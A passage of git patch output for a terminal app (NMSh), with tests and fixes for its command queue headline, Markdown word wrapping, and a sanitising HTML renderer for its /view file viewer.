submitted or queued either', async () => { + const f = fixture(); + try { + for (const char of 'echo a') f.key({kind: 'text', value: char}); + f.key({kind: 'newline'}); + for (const char of '/track ls') f.key({kind: 'text', value: char}); + f.enter(); await settled(); + await f.reviewing(); + assert.deepEqual(f.submitted, []); + f.key({kind: 'text', value: 'c'}); + f.begin('sleep 5'); + f.key({kind: 'paste', value: B}); f.enter(); f.enter(); await settled(); + await f.reviewing(); + assert.deepEqual(f.adds(), [], 'not queued for the shell'); + } finally { f.dispose(); } +}); + +test('F02: multi-line shell text is unchanged: a script, a heredoc with a slash line inside, and a single NMSh command', async () => { + const f = fixture(); + try { + const script = 'for f in a b\n echo $f\nend'; + f.app['editor'].insertPaste(script); + f.enter(); await settled(); + assert.equal(f.app['batchReview'], undefined); + assert.equal(f.submitted.length, 1, 'a script runs as one command, as before'); + f.complete(0); + // This session's shell is Fish (no heredocs): a quoted line is text in every shell. + const quoted = "printf '%s\\n' 'first\n/track ls\nlast'"; + f.app['editor'].insertPaste(quoted); + f.enter(); await settled(); + await new Promise(done => setTimeout(done, 200)); + assert.equal(f.app['batchReview'], undefined, 'a slash line inside a quote is text, not a command'); + assert.equal(f.submitted.length, 2); + f.complete(0); + f.app['editor'].insertPaste('/track ls'); + f.enter(); await settled(); + assert.deepEqual(f.slashes, ['/track ls']); + } finally { f.dispose(); } +}); From 7a587d3e93275712ebbe844b6afdd566bec096a3 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 17:57:30 +0530 Subject: [PATCH 089/157] Queue: while a program waits, the headline keeps the queue in view and says what waits for approval (QA F03) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Physical QA (A9, Ghostty zsh, 68c1cbb7): an entry was queued, NMSh then saw the program wait for hidden input, the queue overview disappeared, and after the answer it came back with the entry marked Awaiting approval. Input safety was correct; the transition was confusing. The question taking the activity rows, with the queue's list stepping aside, is intentional and kept: the question needs both rows and the person's attention. But the headline only said "N queued", never that the entries now wait for approval, and on a narrow screen it dropped the queue entirely when the headline was long. The headline now says "≡ 2 queued · 2 for approval" when they do, shortens itself before the tail, and falls back to a bare "≡ 2" rather than nothing. Tests: tests/queueWhileWaiting.test.ts (both fail before); frame, presentation, input and queue suites 321/321. --- src/app/TerminalApp.ts | 17 +++++++++--- tests/queueWhileWaiting.test.ts | 48 +++++++++++++++++++++++++++++++++ 2 files changed, 61 insertions(+), 4 deletions(-) create mode 100644 tests/queueWhileWaiting.test.ts diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index 2cf3ca81..1f28cedc 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -424,6 +424,8 @@ const WARNING = lazyForeground(UI_COLORS.warning); const ERROR = lazyForeground(UI_COLORS.failure); /** How long after Ctrl+C or Ctrl+Z typing is taken as type-ahead for the shell prompt rather than queued. */ const STOP_TYPE_AHEAD_MS = 2000; +/** The narrowest wait headline kept whole beside the queue's tail; narrower, the tail becomes a bare count. */ +const MIN_WAIT_HEADLINE = 18; /** * Keys held for an on-demand look at the running command's input state are routed when the look answers. A look is * itself bounded (two probes of at most 1.5 s each); this only guards against an answer that never comes. @@ -11599,10 +11601,17 @@ export class TerminalApp { // A wait reads top to bottom (headline, then the question) wherever the composer is docked. if (request) { const rows = inputActivityRows({...this.inputState!, request}, this.running.command, this.running.startedAt, this.activityAnimationNow, columns); - const count = this.queueAvailable() ? this.queueState.entries.length : 0; - // The question keeps both rows; the queue is a count at the end of the headline, when it fits. - const tail = count ? `${SUBTLE} · ${queueGlyph()} ${count} queued${RESET}` : ''; - if (tail && rows[0] !== undefined && displayWidth(stripAnsi(rows[0])) + displayWidth(stripAnsi(tail)) <= columns) rows[0] += tail; + const entries = this.queueAvailable() ? this.queueState.entries : []; + // The question keeps both rows and the queue's list steps aside (QA F03): the headline still says the queue is + // there, and when its entries now wait for approval. The headline is shortened before the tail is, and a bare + // count is the last resort, so the queue never seems to vanish. + if (entries.length && rows[0] !== undefined) { + const approval = entries.filter(entry => entry.condition === 'approve' && !entry.approved).length; + const tails = [`${queueGlyph()} ${entries.length} queued${approval ? ` · ${approval} for approval` : ''}`, `${queueGlyph()} ${entries.length}`]; + const tail = tails.find(text => columns - displayWidth(text) - 3 >= MIN_WAIT_HEADLINE) ?? tails[1]!; + const room = Math.max(1, columns - displayWidth(tail) - 3); + rows[0] = `${truncateAnsi(rows[0], room)}${SUBTLE} · ${tail}${RESET}`; + } return rows.map(row => truncateAnsi(row, columns)); } const activity = truncateAnsi(this.currentActivity(), columns); diff --git a/tests/queueWhileWaiting.test.ts b/tests/queueWhileWaiting.test.ts new file mode 100644 index 00000000..35422009 --- /dev/null +++ b/tests/queueWhileWaiting.test.ts @@ -0,0 +1,48 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import type {QueueOp} from '../src/session/CommandQueue.js'; +import {displayWidth, stripAnsi} from '../src/util/text.js'; +import {executionFrameFixture} from './support/executionTimelineFrames.js'; + +/** + * QA F03 (v0.22 physical QA, A9): while a program waits for input, its question takes the activity rows and the queue's + * list steps aside (intentional: the question needs both rows and the person's attention, and nothing may draw what is + * typed for it). The queue must still be visibly there: the headline keeps a queue tail at every width, shortening the + * headline before dropping it, and says when queued commands now wait for approval, so the list that returns after the + * question holds no surprise. + */ +function waiting(columns: number, command = 'sh -c "sleep 1; read -rs p; echo done"') { + const f = executionFrameFixture(columns, 30); + Object.defineProperty(f.session, 'queue', {value: (op: QueueOp) => { f.owner.request(op); }, configurable: true}); + Object.defineProperty(f.session, 'write', {value: () => {}, configurable: true}); + f.begin(command); + f.app['session'].queue({op: 'add', text: 'echo early'}); + f.app['session'].queue({op: 'add', text: 'echo later'}); + f.tick(300); + f.session.emit('inputState', {request: {since: Date.now(), confidence: 'confirmed', mode: 'hidden'}, timing: {waitedMs: 0, waits: 0}}); + f.tick(300); + const rows = f.capture().frame.rows.map(row => stripAnsi(row)); + return {f, rows, headline: rows.find(row => /Waiting for input/u.test(row)) ?? ''}; +} + +test('F03: while a program waits, the headline says the queue is there and that its entries now wait for approval', async () => { + const {f, headline} = waiting(110); + try { + await new Promise(done => setImmediate(done)); + const again = f.capture().frame.rows.map(row => stripAnsi(row)).find(row => /Waiting for input/u.test(row)) ?? headline; + assert.match(again, /≡ 2 queued · 2 for approval/u); + } finally { f.dispose(); } +}); + +test('F03: at narrow widths the queue tail stays: the headline is shortened first, then the tail becomes a count', async () => { + for (const columns of [52, 40, 30]) { + const {f} = waiting(columns, 'a-program-with-a-rather-long-name --and arguments'); + try { + await new Promise(done => setImmediate(done)); + const rows = f.capture().frame.rows.map(row => stripAnsi(row)); + const headline = rows.find(row => /Waiting|◆/u.test(row)) ?? ''; + assert.match(headline, /≡ 2/u, `${columns}: ${headline}`); + for (const row of rows) assert.ok(displayWidth(row) <= columns, `${columns}: ${row}`); + } finally { f.dispose(); } + } +}); From 3342ca8530ff0a3450c72eb84a57004dad43c04b Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 18:11:08 +0530 Subject: [PATCH 090/157] Markdown: wrapping never glues two words together A space was dropped when the space and the next word did not fit, but the next word itself was then measured without it: when the word alone fit exactly, it was drawn straight after the previous one ("aaaa bbbb" at 8 columns gave "aaaabbbb"; a README line gave "A calmerterminal"). Every Markdown surface used this wrap (agent replies, help, /view, GitHub bodies). The next word now starts the next row. Found while testing /view's HTML rendering (QA F01); present on 68c1cbb7. --- src/markdown/render.ts | 5 ++++- tests/markdownRender.test.ts | 12 ++++++++++++ 2 files changed, 16 insertions(+), 1 deletion(-) diff --git a/src/markdown/render.ts b/src/markdown/render.ts index 272a91e9..001079a3 100644 --- a/src/markdown/render.ts +++ b/src/markdown/render.ts @@ -158,7 +158,10 @@ function wrapAtoms(atoms: readonly Atom[], width: number, first: string, rest: s // Spaces never start a row and never trail one. if (empty) continue; const next = atoms[index + 1]; - if (!next || used + 1 + displayWidth(next.text) > width) continue; + if (!next) continue; + // The next word does not fit after this space: it starts the next row (it may fit without the space, but must + // never be glued to the word before it). + if (used + 1 + displayWidth(next.text) > width) { push(); continue; } ansi += paintAtom(atom); plain += ' '; used += 1; continue; } diff --git a/tests/markdownRender.test.ts b/tests/markdownRender.test.ts index 36395c31..69016659 100644 --- a/tests/markdownRender.test.ts +++ b/tests/markdownRender.test.ts @@ -220,3 +220,15 @@ test('security: pathological lines parse and render in linear time', () => { assert.ok(Date.now() - started < 1500, `${JSON.stringify(input.slice(0, 20))}… took ${Date.now() - started} ms`); } }); + +test('wrapping never glues two words: a word that fits only without the space before it starts the next row', () => { + // Found while testing /view's HTML (QA F01); present before it in every Markdown surface. + assert.deepEqual(renderMarkdown('aaaa bbbb', 8, {level: 'none'}).map(row => row.plain), ['aaaa', 'bbbb']); + assert.deepEqual(renderMarkdown('aaaa bbbb', 9, {level: 'none'}).map(row => row.plain), ['aaaa bbbb']); + const rows = renderMarkdown('[CI status](https://github.com/raiseCatError/notMyShell/actions) **A calmer terminal** for *zsh*, Bash and Fish.', 80, {level: 'truecolor'}); + assert.deepEqual(rows.map(row => row.plain), ['CI status (https://github.com/raiseCatError/notMyShell/actions) A calmer', 'terminal for zsh, Bash and Fish.']); + for (const columns of [10, 17, 23, 40]) { + const text = 'one two three four five six seven eight nine ten'; + assert.equal(renderMarkdown(text, columns, {level: 'none'}).map(row => row.plain).join(' '), text, `${columns}`); + } +}); From bee509a7bf3aa802476736e3b851eab174c2387a Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 18:11:52 +0530 Subject: [PATCH 091/157] /view: render HTML natively, HTML files and HTML inside Markdown (QA F01) Requested in the v0.22 physical QA: README files showed their embedded <picture>, <img> and <div> literally. /view now renders HTML as terminal rows, with no browser engine, through the Markdown renderer's own blocks, so wrapping, narrow widths, search, NO_COLOR and Safe glyphs come from the tested renderer. Supported subset: headings, paragraphs and containers (div, section, center, details/summary, figure), ordered and unordered lists (nested, task check boxes), tables (header row, alignment), <pre> code with its language class, block quotes, rules, definition lists; inline emphasis, code and keys, strikethrough, links and images. In Markdown, HTML blocks follow CommonMark's kinds and Markdown between them reads as Markdown, as on GitHub; inline tags are read from a whitelist, and an unknown <word> stays text. .html/.htm/.xhtml open rendered; m shows the source. Never run or loaded: scripts, styles, templates, embedded and interactive content and the document head are dropped with their contents; event handlers and every attribute but a few are ignored; CSS is not applied; an image is its alt text (never fetched or read, so no local file is disclosed); links keep the renderer's http(s)-only rule and a refused target shows as text; character references decode through the existing safe decoder (moved to markup.ts unchanged). The parser is linear, at most 200,000 tokens and 48 levels deep (deeper content stays, flattened), 4 KiB per tag, 2 KiB per attribute; rendering stays under the existing 1 MiB limit. html.ts imports nothing that reads files or the network. HTML is rendered only where /view asks (MarkdownOptions.html): agent replies, help and GitHub bodies keep showing tags as text. Tests: tests/viewHtml.test.ts (README, document structure, hostile markup, controls via text/entities/attributes, size and nesting bounds, no I/O imports, opt-in, narrow/NO_COLOR/Safe, viewer integration). Rendering, viewer, agent, Ask and report suites: 604 pass, 0 fail. --- src/ask/concepts.ts | 4 +- src/markdown/blocks.ts | 54 ++++++-- src/markdown/html.ts | 257 ++++++++++++++++++++++++++++++++++++++ src/markdown/inline.ts | 107 ++++++++++++---- src/markdown/markup.ts | 134 ++++++++++++++++++++ src/markdown/render.ts | 26 +++- src/viewer/ViewerPanel.ts | 29 +++-- src/viewer/document.ts | 6 +- tests/viewHtml.test.ts | 191 ++++++++++++++++++++++++++++ 9 files changed, 756 insertions(+), 52 deletions(-) create mode 100644 src/markdown/html.ts create mode 100644 src/markdown/markup.ts create mode 100644 tests/viewHtml.test.ts diff --git a/src/ask/concepts.ts b/src/ask/concepts.ts index 0b6b4c64..f99c7d6b 100644 --- a/src/ask/concepts.ts +++ b/src/ask/concepts.ts @@ -254,8 +254,8 @@ export const CONCEPTS: readonly Concept[] = [ aliases: ['compare output', 'compare outputs', 'diff output', 'compare runs', 'what changed between runs', 'compare with previous run'], description: '/compare shows what changed between two command outputs (by default the latest and the previous run of the same command; /compare N M picks them by /copy number). Also Actions → Compare output…. Added, removed and changed lines; c copies the diff, r a comparison report.'}, {id: 'view', label: 'View a file or output', support: 'actionable', open: '/view', covers: ['/view'], - aliases: ['view file', 'view a file', 'read a file', 'open a file read only', 'view output', 'read markdown', 'preview markdown', 'view log', 'pager'], - description: '/view opens a read-only native viewer: /view README.md for a file (Markdown renders; m shows the source), /view N for completed output N (numbered as /copy), /view alone for the latest output. Also Actions → View output. Find with /, n/N, go to a line with :, w wraps, l numbers, c copies the whole text; for a file, e edits it in /edit and o opens it in your own editor at the line shown (as /open does). less, bat and Glow still work as usual.'}, + aliases: ['view file', 'view a file', 'read a file', 'open a file read only', 'view output', 'read markdown', 'preview markdown', 'view html', 'preview html', 'view log', 'pager'], + description: '/view opens a read-only native viewer: /view README.md for a file (Markdown and HTML render natively, embedded HTML included: never run or loaded, images as their text; m shows the source), /view N for completed output N (numbered as /copy), /view alone for the latest output. Also Actions → View output. Find with /, n/N, go to a line with :, w wraps, l numbers, c copies the whole text; for a file, e edits it in /edit and o opens it in your own editor at the line shown (as /open does). less, bat and Glow still work as usual.'}, {id: 'edit-file', label: 'Edit a small text file', support: 'actionable', open: '/edit', covers: ['/edit'], aliases: ['edit a file', 'edit file', 'edit text file', 'change a config file', 'quick edit', 'small editor', 'native editor', 'edit notes'], description: '/edit notes.md opens a small text file (up to 1 MiB, your own, UTF-8) in NMSh\'s editor: type, select with Shift, Ctrl+Z undo, Ctrl+Y redo, Ctrl+F find, Ctrl+C/Ctrl+X copy and cut, Ctrl+S saves (atomically; if the file changed on disk you choose Overwrite, Reload or Keep editing), Esc closes and asks about unsaved changes. e in /view edits the file shown. vim, nano, micro and your $EDITOR still work as usual.'}, diff --git a/src/markdown/blocks.ts b/src/markdown/blocks.ts index 6ed72200..752c5624 100644 --- a/src/markdown/blocks.ts +++ b/src/markdown/blocks.ts @@ -4,7 +4,13 @@ * replies and GitHub text, not a conformance implementation. Streaming-safe: an unclosed fence runs to the end and * is marked open, so a half-arrived reply still reads as code. Bounded in depth and lines; tabs are expected to be * expanded by the caller's display scrubber. + * + * With `html` (`/view`, QA F01), an HTML block (CommonMark's kinds: a raw block such as `<pre>`, a comment, a block-level + * tag, or one complete known tag alone on its line) runs to its end and becomes blocks through the HTML converter; + * Markdown between HTML blocks reads as Markdown, as on GitHub. Without it, HTML is paragraph text. */ +import {htmlToBlocks} from './html.js'; +import {BLOCK, KNOWN} from './markup.js'; export type Alignment = 'left' | 'center' | 'right' | undefined; @@ -133,13 +139,39 @@ function interrupts(line: string, next: string | undefined): boolean { return Boolean(line.includes('|') && next !== undefined && delimiterRow(next) && splitRow(line).length === delimiterRow(next)!.length); } -export function parseBlocks(source: string): Block[] { +export function parseBlocks(source: string, options: {html?: boolean} = {}): Block[] { const lines = source.replace(/\r\n?/gu, '\n').split('\n'); if (lines.length > MAX_LINES) lines.length = MAX_LINES; - return parseLines(lines, 0); + return parseLines(lines, 0, Boolean(options.html)); } -function parseLines(lines: readonly string[], depth: number): Block[] { +/** The kind of HTML block a line starts (CommonMark 1, 2, 6, 7), or undefined. */ +function htmlBlockKind(line: string): 1 | 2 | 6 | 7 | undefined { + if (indentOf(line) > 3) return undefined; + const text = line.trimStart(); + if (text[0] !== '<') return undefined; + if (/^<(?:pre|script|style|textarea)(?:[\s>]|$)/iu.test(text)) return 1; + if (text.startsWith('<!--')) return 2; + const name = /^<\/?([A-Za-z][A-Za-z0-9-]{0,31})(?=[\s/>]|$)/u.exec(text)?.[1]?.toLowerCase(); + if (!name) return undefined; + if (BLOCK.has(name)) return 6; + // One complete tag alone on its line (`<picture>`, `<img …>`): only names HTML has, so `<T>` stays text. + return KNOWN.has(name) && text.length <= 4096 && /^<[^<>]*>\s*$/u.test(text) ? 7 : undefined; +} + +/** Index just past an HTML block starting at `start`: kinds 1 and 2 to their end marker, the others to a blank line. */ +function htmlBlockEnd(lines: readonly string[], start: number, kind: 1 | 2 | 6 | 7): number { + const closes = kind === 1 ? /<\/(?:pre|script|style|textarea)>/iu : kind === 2 ? /-->/u : undefined; + let index = start; + if (closes) { + for (; index < lines.length; index++) if (closes.test(lines[index]!) && (index > start || closes.test(lines[start]!.slice(4)))) return index + 1; + return index; + } + while (index < lines.length && !blank(lines[index]!)) index++; + return index; +} + +function parseLines(lines: readonly string[], depth: number, html = false): Block[] { const blocks: Block[] = []; if (depth > MAX_DEPTH) { const text = lines.join('\n').trim(); @@ -165,6 +197,14 @@ function parseLines(lines: readonly string[], depth: number): Block[] { continue; } + const markup = html ? htmlBlockKind(line) : undefined; + if (markup) { + const end = htmlBlockEnd(lines, index, markup); + blocks.push(...htmlToBlocks(lines.slice(index, end).join('\n'))); + index = end; + continue; + } + const heading = headingOf(line); if (heading) { blocks.push({kind: 'heading', level: heading.level, text: heading.text}); index++; continue; } @@ -181,13 +221,13 @@ function parseLines(lines: readonly string[], depth: number): Block[] { else break; index++; } - blocks.push({kind: 'quote', blocks: parseLines(inner, depth + 1)}); + blocks.push({kind: 'quote', blocks: parseLines(inner, depth + 1, html)}); continue; } const item = ITEM.exec(line); if (item) { - const parsed = parseList(lines, index, depth); + const parsed = parseList(lines, index, depth, html); blocks.push(parsed.block); index = parsed.next; continue; @@ -238,7 +278,7 @@ function parseLines(lines: readonly string[], depth: number): Block[] { return blocks; } -function parseList(lines: readonly string[], start: number, depth: number): {block: Extract<Block, {kind: 'list'}>; next: number} { +function parseList(lines: readonly string[], start: number, depth: number, html: boolean): {block: Extract<Block, {kind: 'list'}>; next: number} { const first = ITEM.exec(lines[start]!)!; const ordered = /\d/u.test(first[2]!); const delimiter = ordered ? first[2]!.slice(-1) : first[2]!; @@ -272,7 +312,7 @@ function parseList(lines: readonly string[], start: number, depth: number): {blo let task: ListItem['task']; const taskMatch = /^\[([ xX])\][ \t]+/u.exec(body[0] ?? ''); if (taskMatch) { task = taskMatch[1] === ' ' ? 'open' : 'done'; body[0] = body[0]!.slice(taskMatch[0].length); } - items.push({...(ordered ? {number: Number(match[2]!.slice(0, -1))} : {}), ...(task ? {task} : {}), blocks: parseLines(body, depth + 1)}); + items.push({...(ordered ? {number: Number(match[2]!.slice(0, -1))} : {}), ...(task ? {task} : {}), blocks: parseLines(body, depth + 1, html)}); } return {block: {kind: 'list', ordered, start: items[0]?.number ?? 1, loose, items}, next: index}; } diff --git a/src/markdown/html.ts b/src/markdown/html.ts new file mode 100644 index 00000000..12f89b76 --- /dev/null +++ b/src/markdown/html.ts @@ -0,0 +1,257 @@ +import type {Alignment, Block, ListItem} from './blocks.js'; +import {BLOCK, decodeEntities, DROPPED, imageLabel, RAW_TEXT, readTag, VOID} from './markup.js'; + +/** + * HTML as the Markdown renderer's own blocks (QA F01): what `/view` shows for an HTML file and for HTML inside + * Markdown. A supported subset, mapped onto blocks the renderer already draws safely at any width: + * headings, paragraphs and containers (div, section, center, details…), ordered and unordered lists (nested, task + * check boxes), tables (header row, alignment), preformatted code (with its language class), block quotes, rules, + * definition lists; inline emphasis, code, keys, strikethrough, links and images. + * Inline content is handed on as normalised inline HTML (escaped text and the few tags the inline parser reads), so + * links follow the renderer's http(s)-only rule and an image is its alt text, never fetched or read. + * + * Nothing is executed or loaded: scripts, styles, templates, embedded and interactive content and the document head + * are dropped with their contents, attributes other than a few (href, alt, src for a label, align, start, type, + * checked, class for a code language) are ignored, CSS is never applied. The scan is linear; at most MAX_TOKENS + * tokens are read and MAX_DEPTH elements nest (deeper content stays, flattened), so hostile markup stays bounded. + */ + +const MAX_TOKENS = 200_000; +const MAX_DEPTH = 48; +const MAX_COLUMNS = 32; + +type Token = {kind: 'text'; text: string} | {kind: 'open'; name: string; attributes: Record<string, string>; self: boolean} | {kind: 'close'; name: string}; +interface Element {name: string; attributes: Record<string, string>; children: Node[]} +type Node = string | Element; + +function tokenize(source: string): Token[] { + const tokens: Token[] = []; + const lower = source.toLowerCase(); + let index = 0; + while (index < source.length) { + if (tokens.length >= MAX_TOKENS) { + tokens.push({kind: 'text', text: ' … (the rest is too long to render here; m shows the source)'}); + break; + } + const open = source.indexOf('<', index); + if (open < 0) { tokens.push({kind: 'text', text: source.slice(index)}); break; } + if (open > index) tokens.push({kind: 'text', text: source.slice(index, open)}); + if (source.startsWith('<!--', open)) { + const end = source.indexOf('-->', open + 4); + index = end < 0 ? source.length : end + 3; + continue; + } + if (source[open + 1] === '!' || source[open + 1] === '?') { + // A doctype, CDATA section or processing instruction: never content. + const end = source.indexOf('>', open); + index = end < 0 ? source.length : end + 1; + continue; + } + const tag = readTag(source, open); + if (!tag) { tokens.push({kind: 'text', text: '<'}); index = open + 1; continue; } + index = tag.end; + if (tag.closing) { tokens.push({kind: 'close', name: tag.name}); continue; } + tokens.push({kind: 'open', name: tag.name, attributes: tag.attributes, self: tag.selfClosing}); + if (RAW_TEXT.has(tag.name) && !tag.selfClosing) { + // Its content is never markup: skip to its end tag (or the end), unread. + const close = lower.indexOf(`</${tag.name}`, index); + const end = close < 0 ? -1 : source.indexOf('>', close); + index = end < 0 ? source.length : end + 1; + tokens.push({kind: 'close', name: tag.name}); + } + } + return tokens; +} + +/** Elements an opening tag of the same family closes (an unclosed `<li>`, `<p>`, `<tr>`, a cell). */ +const IMPLIED: Record<string, readonly string[]> = {li: ['li'], p: ['p'], tr: ['tr', 'td', 'th'], td: ['td', 'th'], th: ['td', 'th'], dt: ['dt', 'dd'], dd: ['dt', 'dd']}; +/** Where an implied close stops looking: it never reaches past its own list, table or row. */ +const SCOPE = new Set(['ul', 'ol', 'table', 'tbody', 'thead', 'tfoot', 'tr', 'dl', 'blockquote', 'div', 'body', 'html']); + +function build(tokens: readonly Token[]): Element { + const root: Element = {name: '#root', attributes: {}, children: []}; + const stack: Element[] = [root]; + for (const token of tokens) { + const top = stack.at(-1)!; + if (token.kind === 'text') { top.children.push(token.text); continue; } + if (token.kind === 'close') { + // The nearest open element of that name closes, with everything inside it; a stray end tag is ignored. + for (let depth = stack.length - 1; depth > 0; depth--) if (stack[depth]!.name === token.name) { stack.length = depth; break; } + continue; + } + const implied = IMPLIED[token.name]; + if (implied) { + for (let depth = stack.length - 1; depth > 0; depth--) { + const name = stack[depth]!.name; + if (implied.includes(name)) { stack.length = depth; break; } + if (SCOPE.has(name)) break; + } + } + const element: Element = {name: token.name, attributes: token.attributes, children: []}; + stack.at(-1)!.children.push(element); + // Past the depth bound an element keeps its place but not its own level: what follows is its sibling. + if (!VOID.has(token.name) && !token.self && stack.length < MAX_DEPTH) stack.push(element); + } + return root; +} + +// ---- Inline ------------------------------------------------------------------------------------------------------- + +/** Decoded text as the inline parser reads it literally: Markdown punctuation escaped, `&` and `<` as references. */ +function escapeText(text: string): string { + return text.replace(/&/gu, '&').replace(/[\\`*_~[\]!]/gu, char => `\\${char}`).replace(/</gu, '<'); +} +const escapeAttribute = (value: string) => value.replace(/&/gu, '&').replace(/"/gu, '"').replace(/</gu, '<').replace(/>/gu, '>'); + +/** All text inside, as written (for code and preformatted text). */ +function textContent(nodes: readonly Node[]): string { + let out = ''; + const walk = (list: readonly Node[]) => { + for (const node of list) { + if (typeof node === 'string') out += node; + else if (node.name === 'br') out += '\n'; + else if (!DROPPED.has(node.name)) walk(node.children); + } + }; + walk(nodes); + return out; +} + +const STRONG = new Set(['b', 'strong']); +const EMPHASIS = new Set(['i', 'em', 'cite', 'dfn', 'var']); +const STRIKE = new Set(['s', 'del', 'strike']); +const CODE = new Set(['code', 'kbd', 'samp', 'tt']); + +/** Inline content as normalised inline HTML: whitespace collapsed, text escaped, only tags the inline parser reads. */ +function inlineText(nodes: readonly Node[]): string { + let out = ''; + for (const node of nodes) { + if (typeof node === 'string') { out += escapeText(decodeEntities(node).replace(/\s+/gu, ' ')); continue; } + const name = node.name; + if (DROPPED.has(name)) continue; + if (name === 'br') out += ' '; + else if (name === 'img') out += `<img alt="${escapeAttribute(imageLabel(node.attributes))}">`; + else if (name === 'input') out += node.attributes.type?.toLowerCase() === 'checkbox' ? ('checked' in node.attributes ? '☑ ' : '☐ ') : ''; + else if (CODE.has(name)) out += `<code>${escapeAttribute(decodeEntities(textContent(node.children)).replace(/\s+/gu, ' '))}</code>`; + else if (STRONG.has(name)) out += `<b>${inlineText(node.children)}</b>`; + else if (EMPHASIS.has(name)) out += `<i>${inlineText(node.children)}</i>`; + else if (STRIKE.has(name)) out += `<s>${inlineText(node.children)}</s>`; + else if (name === 'a' && node.attributes.href) out += `<a href="${escapeAttribute(decodeEntities(node.attributes.href).trim())}">${inlineText(node.children)}</a>`; + else if (BLOCK.has(name)) out += ` ${inlineText(node.children)} `; + else out += inlineText(node.children); + } + return out; +} + +const clean = (text: string) => text.replace(/ {2,}/gu, ' ').trim(); + +// ---- Blocks ------------------------------------------------------------------------------------------------------- + +function blocksOf(nodes: readonly Node[]): Block[] { + const out: Block[] = []; + let inline: Node[] = []; + const flush = () => { + const text = clean(inlineText(inline)); + if (text) out.push({kind: 'paragraph', text}); + inline = []; + }; + for (const node of nodes) { + if (typeof node !== 'string' && DROPPED.has(node.name)) continue; + if (typeof node !== 'string' && BLOCK.has(node.name)) { flush(); out.push(...blockOf(node)); } + else inline.push(node); + } + flush(); + return out; +} + +function blockOf(element: Element): Block[] { + const name = element.name; + const heading = /^h([1-6])$/u.exec(name); + if (heading) { + const text = clean(inlineText(element.children)); + return text ? [{kind: 'heading', level: Number(heading[1]), text}] : []; + } + switch (name) { + case 'hr': return [{kind: 'rule'}]; + case 'pre': return [preformatted(element)]; + case 'blockquote': return [{kind: 'quote', blocks: blocksOf(element.children)}]; + case 'ul': case 'ol': case 'menu': case 'dir': return [list(element)]; + case 'table': return table(element); + case 'summary': case 'dt': case 'caption': case 'legend': { + const text = clean(inlineText(element.children)); + return text ? [{kind: 'paragraph', text: `<b>${text}</b>`}] : []; + } + default: return blocksOf(element.children); + } +} + +function preformatted(element: Element): Block { + const code = element.children.find((node): node is Element => typeof node !== 'string' && node.name === 'code'); + const classes = `${code?.attributes.class ?? ''} ${element.attributes.class ?? ''}`; + const language = /(?:^|\s)(?:language|lang)-([\w+#.-]{1,40})/u.exec(classes)?.[1]?.toLowerCase(); + const lines = decodeEntities(textContent(element.children)).replace(/\r\n?/gu, '\n').replace(/^\n/u, '').split('\n'); + while (lines.length > 1 && !lines.at(-1)!.trim()) lines.pop(); + return {kind: 'code', ...(language ? {language} : {}), lines, closed: true}; +} + +function list(element: Element): Block { + const ordered = element.name === 'ol'; + const start = Math.min(1_000_000_000, Math.max(0, Number.parseInt(element.attributes.start ?? '1', 10) || 1)); + const items: ListItem[] = []; + for (const node of element.children) { + if (typeof node === 'string') { + if (node.trim()) items.push({blocks: [{kind: 'paragraph', text: clean(escapeText(decodeEntities(node).replace(/\s+/gu, ' ')))}]}); + continue; + } + if (node.name === 'li') items.push(item(node)); + // A list written straight inside a list belongs to the item before it. + else if ((node.name === 'ul' || node.name === 'ol') && items.length) items.at(-1)!.blocks.push(list(node)); + else if (!DROPPED.has(node.name)) items.push({blocks: blocksOf([node])}); + } + return {kind: 'list', ordered, start, loose: false, items: items.map((entry, index) => ordered ? {...entry, number: start + index} : entry)}; +} + +function item(element: Element): ListItem { + const children = [...element.children]; + // A check box first in the item makes it a task: shown as the renderer's task marker, never as a control. + const first = children.findIndex(node => typeof node !== 'string' || node.trim()); + const box = children[first]; + let task: ListItem['task']; + if (box && typeof box !== 'string' && box.name === 'input' && box.attributes.type?.toLowerCase() === 'checkbox') { + task = 'checked' in box.attributes ? 'done' : 'open'; + children.splice(first, 1); + } + return {...(task ? {task} : {}), blocks: blocksOf(children)}; +} + +function table(element: Element): Block[] { + const rows: Array<Array<{text: string; header: boolean; align?: Alignment}>> = []; + const before: Block[] = []; + const collect = (nodes: readonly Node[]) => { + for (const node of nodes) { + if (typeof node === 'string') continue; + if (node.name === 'caption') before.push(...blockOf(node)); + else if (node.name === 'thead' || node.name === 'tbody' || node.name === 'tfoot') collect(node.children); + else if (node.name === 'tr') { + const cells = node.children.filter((cell): cell is Element => typeof cell !== 'string' && (cell.name === 'td' || cell.name === 'th')).slice(0, MAX_COLUMNS); + if (cells.length) rows.push(cells.map(cell => ({text: clean(inlineText(cell.children)), header: cell.name === 'th', align: alignment(cell.attributes.align)}))); + } + } + }; + collect(element.children); + if (!rows.length) return before; + const width = Math.max(...rows.map(row => row.length)); + const pad = (row: ReadonlyArray<{text: string}>) => Array.from({length: width}, (_, column) => row[column]?.text ?? ''); + const [header, ...body] = rows; + return [...before, {kind: 'table', align: Array.from({length: width}, (_, column) => header![column]?.align), header: pad(header!), rows: body.map(pad)}]; +} + +function alignment(value: string | undefined): Alignment { + const align = value?.trim().toLowerCase(); + return align === 'left' || align === 'center' || align === 'right' ? align : undefined; +} + +/** HTML (a document, or a block inside Markdown) as blocks; its inline text is for the inline parser in HTML mode. */ +export function htmlToBlocks(source: string): Block[] { + return blocksOf(build(tokenize(source)).children); +} diff --git a/src/markdown/inline.ts b/src/markdown/inline.ts index 1a1c1407..08cdb548 100644 --- a/src/markdown/inline.ts +++ b/src/markdown/inline.ts @@ -1,4 +1,5 @@ import {safeHyperlinkTarget} from '../output/Hyperlinks.js'; +import {decodeEntities, decodeEntity, DROPPED, imageLabel, KNOWN, RAW_TEXT, readTag} from './markup.js'; /** * Inline Markdown for untrusted text (agent replies, GitHub bodies): code spans, emphasis, strong, strikethrough, @@ -6,6 +7,10 @@ import {safeHyperlinkTarget} from '../output/Hyperlinks.js'; * module only decides styling. A link target is kept only when it is 